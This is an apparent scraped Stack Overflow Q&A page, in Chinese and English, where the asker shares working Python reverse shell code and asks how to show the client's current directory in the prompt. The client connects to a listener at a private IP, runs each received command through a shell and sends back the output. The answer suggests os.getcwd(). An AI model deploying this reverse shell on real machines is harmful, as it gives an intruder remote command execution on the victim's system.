简体   繁体   English

在Python反向Shell中将当前工作目录设置为输入提示

[英]set current working directory as input prompt in a Python reverse shell

This is my simple reverse shell written in python. 这是我用python编写的简单反向外壳。 I'm trying to make it better. 我正在努力使其更好。

Client side code: 客户端代码:

import socket
import subprocess

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)

while (cmd != 'exit'):
    cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    mySocket.send(cmdResult.communicate()[0])
    cmd = mySocket.recv(100)

mySocket.send('Shell closed by user.')
mySocket.close()

Server side code: 服务器端代码:

import socket

mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])

while True:
    command=raw_input('Shell>')
    clntConn.send(command)
    result=clntConn.recv(1024)
    if (result == 'Shell closed by user.'):
        print result
        exit(0)
    else:
        print result

As seen in "Server side code" the raw_input prompt is "Shell". 如“服务器端代码”所示, raw_input提示符为“ Shell”。 how can I change it to current working directory on the Client. 如何将其更改为客户端上的当前工作目录。

For example if the Client current working directory is "C:\\Users\\Test\\Desktop\\" 例如,如果客户端当前的工作目录为“ C:\\ Users \\ Test \\ Desktop \\”

I had a raw_input prompt as "C:\\Users\\Test\\Desktop>". 我有一个raw_input提示符,为“ C:\\ Users \\ Test \\ Desktop>”。

Thanks. 谢谢。

You can use os.getcwd() , it should work on both Unix and Windows. 您可以使用os.getcwd() ,它应该在Unix和Windows上均可使用。

import os
cwd = os.getcwd()

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM